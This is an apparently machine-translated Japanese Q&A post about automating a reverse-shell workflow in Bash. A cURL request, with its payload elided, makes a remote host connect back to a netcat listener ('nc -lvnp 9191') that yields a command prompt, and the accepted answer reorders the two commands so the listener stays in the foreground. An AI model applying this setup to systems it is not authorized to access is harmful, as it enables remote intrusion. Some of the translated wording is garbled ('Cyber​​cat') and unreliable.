BashスクリプトでnetcatとcURLを一緒に使用する

BashスクリプトでnetcatとcURLを一緒に使用する

この質問は情報セキュリティに関連していますが、次のプロセスを自動化する解決策が見つからないようです。

netcatへの接続をトリガーするcURLコマンドがあります。自動化なしでを入力し、nc -lvnp 9191次のように入力します。その他端末にcURLコマンドを入力すると、ポート9191でマイコンピュータへの接続が確立され、このコマンドを使用してリモートコンピュータでいくつかのコマンドを実行できます。

私のBashスクリプトで次のことを試しています。

nc -lvnp 9191&
curl ......

Netcatはリスナーを起動し、バックグラウンドに移動し、cURLは接続を開始します(接続を再受信します)、netcatはすぐに閉じます。

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.

nc -lvnp 9191&BashスクリプトからcURLコマンドのみを削除して保持すると、次のことが発生します。

$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>

ただし、「Enter」を押すとすぐに、netcatジョブはすぐに一時停止します。

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

Cyber​​catの仕事に戻ってfg作業を続ける必要があります。

ベストアンサー1

だから、誰かと話し合った最後についにうまくいきました。行位置を変更してcurl最初に(しかしバックグラウンドジョブとして)、次にnetcat(バックグラウンドなしで)来るようにしました。方法は次のとおりです。

(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191

おすすめ記事